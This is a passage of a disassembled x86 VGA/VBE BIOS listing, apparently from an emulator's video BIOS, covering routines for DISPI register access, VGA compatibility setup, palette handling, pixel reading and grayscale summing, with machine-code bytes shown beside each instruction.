ah, al ; 86 c4 in AL, DX ; ec retn ; c3 push ax ; 50 push dx ; 52 mov dx, 003dah ; ba da 03 in AL, DX ; ec test AL, strict byte 008h ; a8 08 je short 00581h ; 74 fb pop dx ; 5a pop ax ; 58 retn ; c3 push ax ; 50 push dx ; 52 mov dx, 003dah ; ba da 03 in AL, DX ; ec test AL, strict byte 008h ; a8 08 jne short 0058eh ; 75 fb pop dx ; 5a pop ax ; 58 retn ; c3 push dx ; 52 mov dx, 001ceh ; ba ce 01 mov ax, strict word 00003h ; b8 03 00 call 00570h ; e8 d0 ff mov dx, 001cfh ; ba cf 01 call 00577h ; e8 d1 ff cmp AL, strict byte 004h ; 3c 04 jbe short 005b5h ; 76 0b db 08ah, 0e0h ; mov ah, al ; 8a e0 shr ah, 003h ; c0 ec 03 test AL, strict byte 007h ; a8 07 je short 005b5h ; 74 02 db 0feh, 0c4h ; inc ah ; fe c4 pop dx ; 5a retn ; c3 _dispi_get_max_bpp: ; 0xc05b7 LB 0x26 push dx ; 52 push bx ; 53 call 005f1h ; e8 35 00 db 08bh, 0d8h ; mov bx, ax ; 8b d8 or ax, strict byte 00002h ; 83 c8 02 call 005ddh ; e8 19 00 mov dx, 001ceh ; ba ce 01 mov ax, strict word 00003h ; b8 03 00 call 00570h ; e8 a3 ff mov dx, 001cfh ; ba cf 01 call 00577h ; e8 a4 ff push ax ; 50 db 08bh, 0c3h ; mov ax, bx ; 8b c3 call 005ddh ; e8 04 00 pop ax ; 58 pop bx ; 5b pop dx ; 5a retn ; c3 dispi_set_enable_: ; 0xc05dd LB 0x26 push dx ; 52 push ax ; 50 mov dx, 001ceh ; ba ce 01 mov ax, strict word 00004h ; b8 04 00 call 00570h ; e8 88 ff pop ax ; 58 mov dx, 001cfh ; ba cf 01 call 00570h ; e8 81 ff pop dx ; 5a retn ; c3 push dx ; 52 mov dx, 001ceh ; ba ce 01 mov ax, strict word 00004h ; b8 04 00 call 00570h ; e8 75 ff mov dx, 001cfh ; ba cf 01 call 00577h ; e8 76 ff pop dx ; 5a retn ; c3 dispi_set_bank_: ; 0xc0603 LB 0x26 push dx ; 52 push ax ; 50 mov dx, 001ceh ; ba ce 01 mov ax, strict word 00005h ; b8 05 00 call 00570h ; e8 62 ff pop ax ; 58 mov dx, 001cfh ; ba cf 01 call 00570h ; e8 5b ff pop dx ; 5a retn ; c3 push dx ; 52 mov dx, 001ceh ; ba ce 01 mov ax, strict word 00005h ; b8 05 00 call 00570h ; e8 4f ff mov dx, 001cfh ; ba cf 01 call 00577h ; e8 50 ff pop dx ; 5a retn ; c3 _dispi_set_bank_farcall: ; 0xc0629 LB 0xe4 cmp bx, 00100h ; 81 fb 00 01 je short 00653h ; 74 24 db 00bh, 0dbh ; or bx, bx ; 0b db jne short 00665h ; 75 32 db 08bh, 0c2h ; mov ax, dx ; 8b c2 push dx ; 52 push ax ; 50 mov ax, strict word 00005h ; b8 05 00 mov dx, 001ceh ; ba ce 01 call 00570h ; e8 30 ff pop ax ; 58 mov dx, 001cfh ; ba cf 01 call 00570h ; e8 29 ff call 00577h ; e8 2d ff pop dx ; 5a db 03bh, 0d0h ; cmp dx, ax ; 3b d0 jne short 00665h ; 75 16 mov ax, strict word 0004fh ; b8 4f 00 retf ; cb mov ax, strict word 00005h ; b8 05 00 mov dx, 001ceh ; ba ce 01 call 00570h ; e8 14 ff mov dx, 001cfh ; ba cf 01 call 00577h ; e8 15 ff db 08bh, 0d0h ; mov dx, ax ; 8b d0 retf ; cb mov ax, 0014fh ; b8 4f 01 retf ; cb push dx ; 52 push ax ; 50 mov dx, 001ceh ; ba ce 01 mov ax, strict word 00008h ; b8 08 00 call 00570h ; e8 fc fe pop ax ; 58 mov dx, 001cfh ; ba cf 01 call 00570h ; e8 f5 fe pop dx ; 5a retn ; c3 push dx ; 52 mov dx, 001ceh ; ba ce 01 mov ax, strict word 00008h ; b8 08 00 call 00570h ; e8 e9 fe mov dx, 001cfh ; ba cf 01 call 00577h ; e8 ea fe pop dx ; 5a retn ; c3 push dx ; 52 push ax ; 50 mov dx, 001ceh ; ba ce 01 mov ax, strict word 00009h ; b8 09 00 call 00570h ; e8 d6 fe pop ax ; 58 mov dx, 001cfh ; ba cf 01 call 00570h ; e8 cf fe pop dx ; 5a retn ; c3 push dx ; 52 mov dx, 001ceh ; ba ce 01 mov ax, strict word 00009h ; b8 09 00 call 00570h ; e8 c3 fe mov dx, 001cfh ; ba cf 01 call 00577h ; e8 c4 fe pop dx ; 5a retn ; c3 push ax ; 50 push bx ; 53 push dx ; 52 db 08bh, 0d8h ; mov bx, ax ; 8b d8 call 00596h ; e8 d9 fe cmp AL, strict byte 004h ; 3c 04 jnbe short 006c3h ; 77 02 shr bx, 1 ; d1 eb shr bx, 003h ; c1 eb 03 mov dx, 003d4h ; ba d4 03 db 08ah, 0e3h ; mov ah, bl ; 8a e3 mov AL, strict byte 013h ; b0 13 out DX, ax ; ef pop dx ; 5a pop bx ; 5b pop ax ; 58 retn ; c3 call 006b5h ; e8 e0 ff push dx ; 52 push ax ; 50 mov dx, 001ceh ; ba ce 01 mov ax, strict word 00006h ; b8 06 00 call 00570h ; e8 90 fe pop ax ; 58 mov dx, 001cfh ; ba cf 01 call 00570h ; e8 89 fe pop dx ; 5a retn ; c3 push dx ; 52 mov dx, 001ceh ; ba ce 01 mov ax, strict word 00006h ; b8 06 00 call 00570h ; e8 7d fe mov dx, 001cfh ; ba cf 01 call 00577h ; e8 7e fe pop dx ; 5a retn ; c3 push dx ; 52 mov dx, 001ceh ; ba ce 01 mov ax, strict word 00007h ; b8 07 00 call 00570h ; e8 6b fe mov dx, 001cfh ; ba cf 01 call 00577h ; e8 6c fe pop dx ; 5a retn ; c3 _vga_compat_setup: ; 0xc070d LB 0xed push ax ; 50 push dx ; 52 mov dx, 001ceh ; ba ce 01 mov ax, strict word 00001h ; b8 01 00 call 00570h ; e8 58 fe mov dx, 001cfh ; ba cf 01 call 00577h ; e8 59 fe push ax ; 50 mov dx, 003d4h ; ba d4 03 mov ax, strict word 00011h ; b8 11 00 out DX, ax ; ef pop ax ; 58 push ax ; 50 shr ax, 003h ; c1 e8 03 dec ax ; 48 db 08ah, 0e0h ; mov ah, al ; 8a e0 mov AL, strict byte 001h ; b0 01 out DX, ax ; ef pop ax ; 58 call 006b5h ; e8 80 ff mov dx, 001ceh ; ba ce 01 mov ax, strict word 00002h ; b8 02 00 call 00570h ; e8 32 fe mov dx, 001cfh ; ba cf 01 call 00577h ; e8 33 fe dec ax ; 48 push ax ; 50 mov dx, 003d4h ; ba d4 03 db 08ah, 0e0h ; mov ah, al ; 8a e0 mov AL, strict byte 012h ; b0 12 out DX, ax ; ef pop ax ; 58 mov AL, strict byte 007h ; b0 07 out DX, AL ; ee inc dx ; 42 in AL, DX ; ec and AL, strict byte 0bdh ; 24 bd test ah, 001h ; f6 c4 01 je short 0075dh ; 74 02 or AL, strict byte 002h ; 0c 02 test ah, 002h ; f6 c4 02 je short 00764h ; 74 02 or AL, strict byte 040h ; 0c 40 out DX, AL ; ee mov dx, 003d4h ; ba d4 03 mov ax, strict word 00009h ; b8 09 00 out DX, AL ; ee mov dx, 003d5h ; ba d5 03 in AL, DX ; ec and AL, strict byte 060h ; 24 60 out DX, AL ; ee mov dx, 003d4h ; ba d4 03 mov AL, strict byte 017h ; b0 17 out DX, AL ; ee mov dx, 003d5h ; ba d5 03 in AL, DX ; ec or AL, strict byte 003h ; 0c 03 out DX, AL ; ee mov dx, 003dah ; ba da 03 in AL, DX ; ec mov dx, 003c0h ; ba c0 03 mov AL, strict byte 010h ; b0 10 out DX, AL ; ee mov dx, 003c1h ; ba c1 03 in AL, DX ; ec or AL, strict byte 001h ; 0c 01 mov dx, 003c0h ; ba c0 03 out DX, AL ; ee mov AL, strict byte 020h ; b0 20 out DX, AL ; ee mov dx, 003ceh ; ba ce 03 mov ax, 00506h ; b8 06 05 out DX, ax ; ef mov dx, 003c4h ; ba c4 03 mov ax, 00f02h ; b8 02 0f out DX, ax ; ef mov dx, 001ceh ; ba ce 01 mov ax, strict word 00003h ; b8 03 00 call 00570h ; e8 c2 fd mov dx, 001cfh ; ba cf 01 call 00577h ; e8 c3 fd cmp AL, strict byte 008h ; 3c 08 jc short 007f8h ; 72 40 mov dx, 003d4h ; ba d4 03 mov AL, strict byte 014h ; b0 14 out DX, AL ; ee mov dx, 003d5h ; ba d5 03 in AL, DX ; ec or AL, strict byte 040h ; 0c 40 out DX, AL ; ee mov dx, 003dah ; ba da 03 in AL, DX ; ec mov dx, 003c0h ; ba c0 03 mov AL, strict byte 010h ; b0 10 out DX, AL ; ee mov dx, 003c1h ; ba c1 03 in AL, DX ; ec or AL, strict byte 040h ; 0c 40 mov dx, 003c0h ; ba c0 03 out DX, AL ; ee mov AL, strict byte 020h ; b0 20 out DX, AL ; ee mov dx, 003c4h ; ba c4 03 mov AL, strict byte 004h ; b0 04 out DX, AL ; ee mov dx, 003c5h ; ba c5 03 in AL, DX ; ec or AL, strict byte 008h ; 0c 08 out DX, AL ; ee mov dx, 003ceh ; ba ce 03 mov AL, strict byte 005h ; b0 05 out DX, AL ; ee mov dx, 003cfh ; ba cf 03 in AL, DX ; ec and AL, strict byte 09fh ; 24 9f or AL, strict byte 040h ; 0c 40 out DX, AL ; ee pop dx ; 5a pop ax ; 58 _vbe_has_vbe_display: ; 0xc07fa LB 0x13 push DS ; 1e push bx ; 53 mov ax, strict word 00040h ; b8 40 00 mov ds, ax ; 8e d8 mov bx, 000b9h ; bb b9 00 mov al, byte [bx] ; 8a 07 and AL, strict byte 001h ; 24 01 db 032h, 0e4h ; xor ah, ah ; 32 e4 pop bx ; 5b pop DS ; 1f retn ; c3 vbe_biosfn_return_current_mode: ; 0xc080d LB 0x25 push DS ; 1e mov ax, strict word 00040h ; b8 40 00 mov ds, ax ; 8e d8 call 005f1h ; e8 db fd and ax, strict byte 00001h ; 83 e0 01 je short 00824h ; 74 09 mov bx, 000bah ; bb ba 00 mov ax, word [bx] ; 8b 07 db 08bh, 0d8h ; mov bx, ax ; 8b d8 jne short 0082dh ; 75 09 mov bx, strict word 00049h ; bb 49 00 mov al, byte [bx] ; 8a 07 db 08ah, 0d8h ; mov bl, al ; 8a d8 db 032h, 0ffh ; xor bh, bh ; 32 ff mov ax, strict word 0004fh ; b8 4f 00 pop DS ; 1f retn ; c3 vbe_biosfn_display_window_control: ; 0xc0832 LB 0x2d cmp bl, 000h ; 80 fb 00 jne short 0085bh ; 75 24 cmp bh, 001h ; 80 ff 01 je short 00852h ; 74 16 jc short 00842h ; 72 04 mov ax, 00100h ; b8 00 01 retn ; c3 db 08bh, 0c2h ; mov ax, dx ; 8b c2 call 00603h ; e8 bc fd call 00617h ; e8 cd fd db 03bh, 0c2h ; cmp ax, dx ; 3b c2 jne short 0085bh ; 75 0d mov ax, strict word 0004fh ; b8 4f 00 retn ; c3 call 00617h ; e8 c2 fd db 08bh, 0d0h ; mov dx, ax ; 8b d0 mov ax, strict word 0004fh ; b8 4f 00 retn ; c3 mov ax, 0014fh ; b8 4f 01 retn ; c3 vbe_biosfn_set_get_logical_scan_line_length: ; 0xc085f LB 0x4d db 08bh, 0c1h ; mov ax, cx ; 8b c1 cmp bl, 001h ; 80 fb 01 je short 0088ah ; 74 24 cmp bl, 002h ; 80 fb 02 je short 00871h ; 74 06 jc short 00887h ; 72 1a mov ax, 00100h ; b8 00 01 retn ; c3 push ax ; 50 call 00596h ; e8 21 fd db 032h, 0ffh ; xor bh, bh ; 32 ff db 08ah, 0dch ; mov bl, ah ; 8a dc db 00ah, 0dbh ; or bl, bl ; 0a db jne short 00882h ; 75 05 sal ax, 003h ; c1 e0 03 mov BL, strict byte 001h ; b3 01 db 033h, 0d2h ; xor dx, dx ; 33 d2 pop ax ; 58 div bx ; f7 f3 call 006d2h ; e8 48 fe call 00596h ; e8 09 fd db 032h, 0ffh ; xor bh, bh ; 32 ff db 08ah, 0dch ; mov bl, ah ; 8a dc call 006e9h ; e8 55 fe db 08bh, 0c8h ; mov cx, ax ; 8b c8 db 00ah, 0dbh ; or bl, bl ; 0a db jne short 0089fh ; 75 05 shr ax, 003h ; c1 e8 03 mov BL, strict byte 001h ; b3 01 mul bx ; f7 e3 db 08bh, 0d8h ; mov bx, ax ; 8b d8 call 006fbh ; e8 55 fe db 08bh, 0d0h ; mov dx, ax ; 8b d0 mov ax, strict word 0004fh ; b8 4f 00 retn ; c3 vbe_biosfn_set_get_display_start: ; 0xc08ac LB 0x34 cmp bl, 080h ; 80 fb 80 je short 008bch ; 74 0b cmp bl, 001h ; 80 fb 01 je short 008d0h ; 74 1a jc short 008c2h ; 72 0a mov ax, 00100h ; b8 00 01 retn ; c3 call 00589h ; e8 ca fc call 0057ch ; e8 ba fc db 08bh, 0c1h ; mov ax, cx ; 8b c1 call 00669h ; e8 a2 fd db 08bh, 0c2h ; mov ax, dx ; 8b c2 call 0068fh ; e8 c3 fd mov ax, strict word 0004fh ; b8 4f 00 retn ; c3 call 0067dh ; e8 aa fd db 08bh, 0c8h ; mov cx, ax ; 8b c8 call 006a3h ; e8 cb fd db 08bh, 0d0h ; mov dx, ax ; 8b d0 db 032h, 0ffh ; xor bh, bh ; 32 ff mov ax, strict word 0004fh ; b8 4f 00 retn ; c3 vbe_biosfn_set_get_dac_palette_format: ; 0xc08e0 LB 0x37 cmp bl, 001h ; 80 fb 01 je short 00903h ; 74 1e jc short 008ebh ; 72 04 mov ax, 00100h ; b8 00 01 retn ; c3 call 005f1h ; e8 03 fd cmp bh, 006h ; 80 ff 06 je short 008fdh ; 74 0a cmp bh, 008h ; 80 ff 08 jne short 00913h ; 75 1b or ax, strict byte 00020h ; 83 c8 20 jne short 00900h ; 75 03 and ax, strict byte 0ffdfh ; 83 e0 df call 005ddh ; e8 da fc mov BH, strict byte 006h ; b7 06 call 005f1h ; e8 e9 fc and ax, strict byte 00020h ; 83 e0 20 je short 0090fh ; 74 02 mov BH, strict byte 008h ; b7 08 mov ax, strict word 0004fh ; b8 4f 00 retn ; c3 mov ax, 0014fh ; b8 4f 01 retn ; c3 vbe_biosfn_set_get_palette_data: ; 0xc0917 LB 0x64 test bl, bl ; 84 db je short 0092ah ; 74 0f cmp bl, 001h ; 80 fb 01 je short 00952h ; 74 32 cmp bl, 003h ; 80 fb 03 jbe short 00977h ; 76 52 cmp bl, 080h ; 80 fb 80 jne short 00973h ; 75 49 pushad ; 66 60 push DS ; 1e push ES ; 06 pop DS ; 1f db 08ah, 0c2h ; mov al, dl ; 8a c2 mov dx, 003c8h ; ba c8 03 out DX, AL ; ee inc dx ; 42 db 08bh, 0f7h ; mov si, di ; 8b f7 lodsd ; 66 ad ror eax, 010h ; 66 c1 c8 10 out DX, AL ; ee rol eax, 008h ; 66 c1 c0 08 out DX, AL ; ee rol eax, 008h ; 66 c1 c0 08 out DX, AL ; ee loop 00938h ; e2 ed pop DS ; 1f popad ; 66 61 mov ax, strict word 0004fh ; b8 4f 00 retn ; c3 pushad ; 66 60 db 08ah, 0c2h ; mov al, dl ; 8a c2 mov dx, 003c7h ; ba c7 03 out DX, AL ; ee add dl, 002h ; 80 c2 02 db 066h, 033h, 0c0h ; xor eax, eax ; 66 33 c0 in AL, DX ; ec sal eax, 008h ; 66 c1 e0 08 in AL, DX ; ec sal eax, 008h ; 66 c1 e0 08 in AL, DX ; ec stosd ; 66 ab loop 0095dh ; e2 ee popad ; 66 61 jmp short 0094eh ; eb db mov ax, 0014fh ; b8 4f 01 retn ; c3 mov ax, 0024fh ; b8 4f 02 retn ; c3 vbe_biosfn_return_protected_mode_interface: ; 0xc097b LB 0x17 test bl, bl ; 84 db jne short 0098eh ; 75 0f mov di, 0c000h ; bf 00 c0 mov es, di ; 8e c7 mov di, 04400h ; bf 00 44 mov cx, 00115h ; b9 15 01 mov ax, strict word 0004fh ; b8 4f 00 retn ; c3 mov ax, 0014fh ; b8 4f 01 retn ; c3 ; Padding 0x6e bytes at 0xc0992 times 110 db 0 section _TEXT progbits vstart=0xa00 align=1 ; size=0x2f57 class=CODE group=AUTO set_int_vector_: ; 0xc0a00 LB 0x1a push bx ; 53 push bp ; 55 mov bp, sp ; 89 e5 movzx bx, al ; 0f b6 d8 sal bx, 002h ; c1 e3 02 xor ax, ax ; 31 c0 mov es, ax ; 8e c0 mov word [es:bx], dx ; 26 89 17 mov word [es:bx+002h], 0c000h ; 26 c7 47 02 00 c0 pop bp ; 5d pop bx ; 5b retn ; c3 init_vga_card_: ; 0xc0a1a LB 0x1c push bp ; 55 mov bp, sp ; 89 e5 push dx ; 52 mov AL, strict byte 0c3h ; b0 c3 mov dx, 003c2h ; ba c2 03 out DX, AL ; ee mov AL, strict byte 004h ; b0 04 mov dx, 003c4h ; ba c4 03 out DX, AL ; ee mov AL, strict byte 002h ; b0 02 mov dx, 003c5h ; ba c5 03 out DX, AL ; ee lea sp, [bp-002h] ; 8d 66 fe pop dx ; 5a pop bp ; 5d retn ; c3 init_bios_area_: ; 0xc0a36 LB 0x32 push bx ; 53 push bp ; 55 mov bp, sp ; 89 e5 xor bx, bx ; 31 db mov ax, strict word 00040h ; b8 40 00 mov es, ax ; 8e c0 mov al, byte [es:bx+010h] ; 26 8a 47 10 and AL, strict byte 0cfh ; 24 cf or AL, strict byte 020h ; 0c 20 mov byte [es:bx+010h], al ; 26 88 47 10 mov byte [es:bx+00085h], 010h ; 26 c6 87 85 00 10 mov word [es:bx+00087h], 0f960h ; 26 c7 87 87 00 60 f9 mov byte [es:bx+00089h], 051h ; 26 c6 87 89 00 51 mov byte [es:bx+065h], 009h ; 26 c6 47 65 09 pop bp ; 5d pop bx ; 5b retn ; c3 _vgabios_init_func: ; 0xc0a68 LB 0x20 push bp ; 55 mov bp, sp ; 89 e5 call 00a1ah ; e8 ac ff call 00a36h ; e8 c5 ff call 03482h ; e8 0e 2a mov dx, strict word 00022h ; ba 22 00 mov ax, strict word 00010h ; b8 10 00 call 00a00h ; e8 83 ff mov ax, strict word 00003h ; b8 03 00 db 032h, 0e4h ; xor ah, ah ; 32 e4 int 010h ; cd 10 mov sp, bp ; 89 ec pop bp ; 5d retf ; cb vga_get_cursor_pos_: ; 0xc0a88 LB 0x43 push bp ; 55 mov bp, sp ; 89 e5 push cx ; 51 push si ; 56 mov cl, al ; 88 c1 mov si, dx ; 89 d6 cmp AL, strict byte 007h ; 3c 07 jbe short 00aa3h ; 76 0e push SS ; 16 pop ES ; 07 mov word [es:si], strict word 00000h ; 26 c7 04 00 00 mov word [es:bx], strict word 00000h ; 26 c7 07 00 00 jmp short 00ac4h ; eb 21 mov dx, strict word 00060h ; ba 60 00 mov ax, strict word 00040h ; b8 40 00 call 02f5ah ; e8 ae 24 push SS ; 16 pop ES ; 07 mov word [es:si], ax ; 26 89 04 movzx dx, cl ; 0f b6 d1 add dx, dx ; 01 d2 add dx, strict byte 00050h ; 83 c2 50 mov ax, strict word 00040h ; b8 40 00 call 02f5ah ; e8 9b 24 push SS ; 16 pop ES ; 07 mov word [es:bx], ax ; 26 89 07 lea sp, [bp-004h] ; 8d 66 fc pop si ; 5e pop cx ; 59 pop bp ; 5d retn ; c3 vga_read_char_attr_: ; 0xc0acb LB 0xa8 push bp ; 55 mov bp, sp ; 89 e5 push bx ; 53 push cx ; 51 push si ; 56 push di ; 57 sub sp, strict byte 00008h ; 83 ec 08 mov cl, al ; 88 c1 mov si, dx ; 89 d6 mov dx, strict word 00049h ; ba 49 00 mov ax, strict word 00040h ; b8 40 00 call 02f3eh ; e8 5c 24 xor ah, ah ; 30 e4 call 02f17h ; e8 30 24 mov ch, al ; 88 c5 cmp AL, strict byte 0ffh ; 3c ff je short 00b5ah ; 74 6d movzx ax, cl ; 0f b6 c1 lea bx, [bp-010h] ; 8d 5e f0 lea dx, [bp-00eh] ; 8d 56 f2 call 00a88h ; e8 8f ff mov al, byte [bp-010h] ; 8a 46 f0 mov byte [bp-00ah], al ; 88 46 f6 mov ax, word [bp-010h] ; 8b 46 f0 xor al, al ; 30 c0 shr ax, 008h ; c1 e8 08 mov word [bp-00ch], ax ; 89 46 f4 mov dx, 00084h ; ba 84 00 mov ax, strict word 00040h ; b8 40 00 call 02f3eh ; e8 2b 24 movzx di, al ; 0f b6 f8 inc di ; 47 mov dx, strict word 0004ah ; ba 4a 00 mov ax, strict word 00040h ; b8 40 00 call 02f5ah ; e8 3a 24 movzx bx, ch ; 0f b6 dd sal bx, 003h ; c1 e3 03 cmp byte [bx+0462fh], 000h ; 80 bf 2f 46 00 jne short 00b5ah ; 75 2d mov dx, ax ; 89 c2 imul dx, di ; 0f af d7 add dx, dx ; 01 d2 or dl, 0ffh ; 80 ca ff xor ch, ch ; 30 ed inc dx ; 42 imul cx, dx ; 0f af ca movzx dx, byte [bp-00ch] ; 0f b6 56 f4 imul dx, ax ; 0f af d0 movzx ax, byte [bp-00ah] ; 0f b6 46 f6 add ax, dx ; 01 d0 add ax, ax ; 01 c0 mov dx, cx ; 89 ca add dx, ax ; 01 c2 mov ax, word [bx+04632h] ; 8b 87 32 46 call 02f5ah ; e8 03 24 mov word [ss:si], ax ; 36 89 04 lea sp, [bp-008h] ; 8d 66 f8 pop di ; 5f pop si ; 5e pop cx ; 59 pop bx ; 5b pop bp ; 5d retn ; c3 mov cs, [bp+di] ; 8e 0b int 00bh ; cd 0b ror byte [bp+di], CL ; d2 0b fimul dword [bp+di] ; da 0b db 0dfh db 00bh, 0e4h ; or sp, sp ; 0b e4 db 00bh, 0e9h ; or bp, cx ; 0b e9 db 00bh, 0eeh ; or bp, si ; 0b ee db 00bh vga_get_font_info_: ; 0xc0b73 LB 0x82 push bp ; 55 mov bp, sp ; 89 e5 push si ; 56 push di ; 57 push ax ; 50 mov si, dx ; 89 d6 mov word [bp-006h], bx ; 89 5e fa mov bx, cx ; 89 cb cmp ax, strict word 00007h ; 3d 07 00 jnbe short 00bc4h ; 77 3f mov di, ax ; 89 c7 add di, ax ; 01 c7 jmp word [cs:di+00b63h] ; 2e ff a5 63 0b mov dx, strict word 0007ch ; ba 7c 00 xor ax, ax ; 31 c0 call 02f76h ; e8 e0 23 push SS ; 16 pop ES ; 07 mov di, word [bp-006h] ; 8b 7e fa mov word [es:di], ax ; 26 89 05 mov word [es:si], dx ; 26 89 14 mov dx, 00085h ; ba 85 00 mov ax, strict word 00040h ; b8 40 00 call 02f3eh ; e8 94 23 xor ah, ah ; 30 e4 push SS ; 16 pop ES ; 07 mov word [es:bx], ax ; 26 89 07 mov dx, 00084h ; ba 84 00 mov ax, strict word 00040h ; b8 40 00 call 02f3eh ; e8 84 23 xor ah, ah ; 30 e4 push SS ; 16 pop ES ; 07 mov bx, word [bp+004h] ; 8b 5e 04 mov word [es:bx], ax ; 26 89 07 lea sp, [bp-004h] ; 8d 66 fc pop di ; 5f pop si ; 5e pop bp ; 5d retn 00002h ; c2 02 00 mov dx, 0010ch ; ba 0c 01 jmp short 00b91h ; eb bf mov ax, 05bech ; b8 ec 5b mov dx, 0c000h ; ba 00 c0 jmp short 00b96h ; eb bc mov ax, 053ech ; b8 ec 53 jmp short 00bd5h ; eb f6 mov ax, 057ech ; b8 ec 57 jmp short 00bd5h ; eb f1 mov ax, 079ech ; b8 ec 79 jmp short 00bd5h ; eb ec mov ax, 069ech ; b8 ec 69 jmp short 00bd5h ; eb e7 mov ax, 07b19h ; b8 19 7b jmp short 00bd5h ; eb e2 jmp short 00bc4h ; eb cf vga_read_pixel_: ; 0xc0bf5 LB 0x139 push bp ; 55 mov bp, sp ; 89 e5 push si ; 56 push di ; 57 sub sp, strict byte 00006h ; 83 ec 06 mov si, dx ; 89 d6 mov word [bp-00ah], bx ; 89 5e f6 mov di, cx ; 89 cf mov dx, strict word 00049h ; ba 49 00 mov ax, strict word 00040h ; b8 40 00 call 02f3eh ; e8 31 23 xor ah, ah ; 30 e4 call 02f17h ; e8 05 23 mov cl, al ; 88 c1 cmp AL, strict byte 0ffh ; 3c ff je near 00d27h ; 0f 84 0d 01 movzx bx, al ; 0f b6 d8 sal bx, 003h ; c1 e3 03 cmp byte [bx+0462fh], 000h ; 80 bf 2f 46 00 je near 00d27h ; 0f 84 fe 00 mov bl, byte [bx+04630h] ; 8a 9f 30 46 cmp bl, 003h ; 80 fb 03 jc short 00c43h ; 72 11 jbe short 00c4bh ; 76 17 cmp bl, 005h ; 80 fb 05 je near 00d04h ; 0f 84 c9 00 cmp bl, 004h ; 80 fb 04 je short 00c4bh ; 74 0b jmp near 00d22h ; e9 df 00 cmp bl, 002h ; 80 fb 02 je short 00ca3h ; 74 5b jmp near 00d22h ; e9 d7 00 mov dx, strict word 0004ah ; ba 4a 00 mov ax, strict word 00040h ; b8 40 00 call 02f5ah ; e8 06 23 imul ax, word [bp-00ah] ; 0f af 46 f6 mov bx, si ; 89 f3 shr bx, 003h ; c1 eb 03 add bx, ax ; 01 c3 mov cx, si ; 89 f1 and cx, strict byte 00007h ; 83 e1 07 mov ax, 00080h ; b8 80 00 sar ax, CL ; d3 f8 mov byte [bp-008h], al ; 88 46 f8 mov byte [bp-006h], ch ; 88 6e fa jmp short 00c79h ; eb 08 cmp byte [bp-006h], 004h ; 80 7e fa 04 jnc near 00d24h ; 0f 83 ab 00 movzx ax, byte [bp-006h] ; 0f b6 46 fa sal ax, 008h ; c1 e0 08 or AL, strict byte 004h ; 0c 04 mov dx, 003ceh ; ba ce 03 out DX, ax ; ef mov dx, bx ; 89 da mov ax, 0a000h ; b8 00 a0 call 02f3eh ; e8 b0 22 and al, byte [bp-008h] ; 22 46 f8 test al, al ; 84 c0 jbe short 00c9eh ; 76 09 mov cl, byte [bp-006h] ; 8a 4e fa mov AL, strict byte 001h ; b0 01 sal al, CL ; d2 e0 or ch, al ; 08 c5 inc byte [bp-006h] ; fe 46 fa jmp short 00c71h ; eb ce mov ax, word [bp-00ah] ; 8b 46 f6 shr ax, 1 ; d1 e8 imul ax, ax, strict byte 00050h ; 6b c0 50 mov bx, si ; 89 f3 shr bx, 002h ; c1 eb 02 add bx, ax ; 01 c3 test byte [bp-00ah], 001h ; f6 46 f6 01 je short 00cbbh ; 74 03 add bh, 020h ; 80 c7 20 mov dx, bx ; 89 da mov ax, 0b800h ; b8 00 b8 call 02f3eh ; e8 7b 22 movzx bx, cl ; 0f b6 d9 sal bx, 003h ; c1 e3 03 cmp byte [bx+04631h], 002h ; 80 bf 31 46 02 jne short 00cebh ; 75 1b mov cx, si ; 89 f1 xor ch, ch ; 30 ed and cl, 003h ; 80 e1 03 mov bx, strict word 00003h ; bb 03 00 sub bx, cx ; 29 cb mov cx, bx ; 89 d9 add cx, bx ; 01 d9 xor ah, ah ; 30 e4 sar ax, CL ; d3 f8 mov ch, al ; 88 c5 and ch, 003h ; 80 e5 03 jmp short 00d24h ; eb 39 mov cx, si ; 89 f1 xor ch, ch ; 30 ed and cl, 007h ; 80 e1 07 mov bx, strict word 00007h ; bb 07 00 sub bx, cx ; 29 cb mov cx, bx ; 89 d9 xor ah, ah ; 30 e4 sar ax, CL ; d3 f8 mov ch, al ; 88 c5 and ch, 001h ; 80 e5 01 jmp short 00d24h ; eb 20 mov dx, strict word 0004ah ; ba 4a 00 mov ax, strict word 00040h ; b8 40 00 call 02f5ah ; e8 4d 22 sal ax, 003h ; c1 e0 03 imul ax, word [bp-00ah] ; 0f af 46 f6 mov dx, si ; 89 f2 add dx, ax ; 01 c2 mov ax, 0a000h ; b8 00 a0 call 02f3eh ; e8 20 22 mov ch, al ; 88 c5 jmp short 00d24h ; eb 02 xor ch, ch ; 30 ed mov byte [ss:di], ch ; 36 88 2d lea sp, [bp-004h] ; 8d 66 fc pop di ; 5f pop si ; 5e pop bp ; 5d retn ; c3 biosfn_perform_gray_scale_summing_: ; 0xc0d2e LB 0x8c push bp ; 55 mov bp, sp ; 89 e5 push bx ; 53 push cx ; 51 push si ; 56 push di ; 57 push ax ; 50 push ax ; 50 mov bx, ax ; 89 c3 mov di, dx ; 89 d7 mov dx, 003dah ; ba da 03 in AL, DX ; ec db 02ah, 0e4h ; sub ah, ah ; 2a e4 xor al, al ; 30 c0 mov dx, 003c0h ; ba c0 03 out DX, AL ; ee xor si, si ; 31 f6 cmp si, di ; 39 fe jnc short 00d9fh ; 73 52 mov al, bl ; 88 d8 mov dx, 003c7h ; ba c7 03 out DX, AL ; ee mov dx, 003c9h ; ba c9 03 in AL, DX ; ec db 02ah, 0e4h ; sub ah, ah ; 2a e4 mov cx, ax ; 89 c1 in AL, DX ; ec db 02ah, 0e4h ; sub ah, ah ; 2a e4 mov word [bp-00ch], ax ; 89 46 f4 in AL, DX ; ec db 02ah, 0e4h ; sub ah, ah ; 2a e4 xor ch, ch ; 30 ed imul cx, cx, strict byte 0004dh ; 6b c9 4d mov word [bp-00ah], cx ; 89 4e f6 movzx cx, byte [bp-00ch] ; 0f b6 4e f4 imul cx, cx, 00097h ; 69 c9 97 00 add cx, word [bp-00ah] ; 03 4e f6 xor ah, ah ; 30 e4 imul ax, ax, strict byte 0001ch ; 6b c0 1c add cx, ax ; 01 c1 add cx, 00080h ; 81 c1 80 00 sar cx, 008h ; c1 f9 08 cmp cx, strict byte 0003fh ; 83 f9 3f jbe short 00d8dh ; 76 03 mov cx, strict word 0003fh ; b9 3f 00 mov al, bl ; 88 d8 mov dx, 003c8h ; ba c8 03 out DX, AL ; ee mov al, cl ; 88 c8 mov dx, 003c9h ; ba c9 03 out DX, AL ; ee out DX, AL ; ee out DX, AL ; ee inc bx ; 43 inc si ; 46 jmp short 00d49h ; eb aa mov dx, 003dah ; ba da 03 in AL, DX ; ec db 02ah, 0e4h ; sub ah, ah ; 2a e4 mov AL, strict byte 020h ; b0 20 mov dx, 003c0h ; ba c0 